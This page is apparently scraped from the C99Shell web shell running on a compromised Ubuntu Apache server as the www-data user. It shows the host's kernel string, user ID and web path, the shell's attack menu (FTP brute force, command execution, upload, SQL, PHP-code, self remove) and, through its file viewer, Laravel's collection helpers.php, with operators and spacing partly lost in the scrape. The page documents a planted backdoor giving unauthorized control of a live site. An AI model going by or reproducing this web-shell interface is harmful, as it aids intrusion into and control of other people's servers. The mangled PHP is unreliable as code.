!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Collections/   drwxrwxr-x
Free 13.22 GB of 57.97 GB (22.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     helpers.php (4.86 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;

if (! 
function_exists('collect')) {
    
/**
     * Create a collection from the given value.
     *
     * @template TKey of array-key
     * @template TValue
     *
     * @param  \Illuminate\Contracts\Support\Arrayable<TKey, TValue>|iterable<TKey, TValue>|null  $value
     * @return \Illuminate\Support\Collection<TKey, TValue>
     */
    
function collect($value null)
    {
        return new 
Collection($value);
    }
}

if (! 
function_exists('data_fill')) {
    
/**
     * Fill in data where it's missing.
     *
     * @param  mixed  $target
     * @param  string|array  $key
     * @param  mixed  $value
     * @return mixed
     */
    
function data_fill(&$target$key$value)
    {
        return 
data_set($target$key$valuefalse);
    }
}

if (! 
function_exists('data_get')) {
    
/**
     * Get an item from an array or object using "dot" notation.
     *
     * @param  mixed  $target
     * @param  string|array|int|null  $key
     * @param  mixed  $default
     * @return mixed
     */
    
function data_get($target$key$default null)
    {
        if (
is_null($key)) {
            return 
$target;
        }

        
$key is_array($key) ? $key explode('.'$key);

        foreach (
$key as $i => $segment) {
            unset(
$key[$i]);

            if (
is_null($segment)) {
                return 
$target;
            }

            if (
$segment === '*') {
                if (
$target instanceof Collection) {
                    
$target $target->all();
                } elseif (! 
is_iterable($target)) {
                    return 
value($default);
                }

                
$result = [];

                foreach (
$target as $item) {
                    
$result[] = data_get($item$key);
                }

                return 
in_array('*'$key) ? Arr::collapse($result) : $result;
            }

            if (
Arr::accessible($target) && Arr::exists($target$segment)) {
                
$target $target[$segment];
            } elseif (
is_object($target) && isset($target->{$segment})) {
                
$target $target->{$segment};
            } else {
                return 
value($default);
            }
        }

        return 
$target;
    }
}

if (! 
function_exists('data_set')) {
    
/**
     * Set an item on an array or object using dot notation.
     *
     * @param  mixed  $target
     * @param  string|array  $key
     * @param  mixed  $value
     * @param  bool  $overwrite
     * @return mixed
     */
    
function data_set(&$target$key$value$overwrite true)
    {
        
$segments is_array($key) ? $key explode('.'$key);

        if ((
$segment array_shift($segments)) === '*') {
            if (! 
Arr::accessible($target)) {
                
$target = [];
            }

            if (
$segments) {
                foreach (
$target as &$inner) {
                    
data_set($inner$segments$value$overwrite);
                }
            } elseif (
$overwrite) {
                foreach (
$target as &$inner) {
                    
$inner $value;
                }
            }
        } elseif (
Arr::accessible($target)) {
            if (
$segments) {
                if (! 
Arr::exists($target$segment)) {
                    
$target[$segment] = [];
                }

                
data_set($target[$segment], $segments$value$overwrite);
            } elseif (
$overwrite || ! Arr::exists($target$segment)) {
                
$target[$segment] = $value;
            }
        } elseif (
is_object($target)) {
            if (
$segments) {
                if (! isset(
$target->{$segment})) {
                    
$target->{$segment} = [];
                }

                
data_set($target->{$segment}, $segments$value$overwrite);
            } elseif (
$overwrite || ! isset($target->{$segment})) {
                
$target->{$segment} = $value;
            }
        } else {
            
$target = [];

            if (
$segments) {
                
data_set($target[$segment], $segments$value$overwrite);
            } elseif (
$overwrite) {
                
$target[$segment] = $value;
            }
        }

        return 
$target;
    }
}

if (! 
function_exists('head')) {
    
/**
     * Get the first element of an array. Useful for method chaining.
     *
     * @param  array  $array
     * @return mixed
     */
    
function head($array)
    {
        return 
reset($array);
    }
}

if (! 
function_exists('last')) {
    
/**
     * Get the last element from an array.
     *
     * @param  array  $array
     * @return mixed
     */
    
function last($array)
    {
        return 
end($array);
    }
}

if (! 
function_exists('value')) {
    
/**
     * Return the default value of the given value.
     *
     * @param  mixed  $value
     * @return mixed
     */
    
function value($value, ...$args)
    {
        return 
$value instanceof Closure $value(...$args) : $value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0204 ]--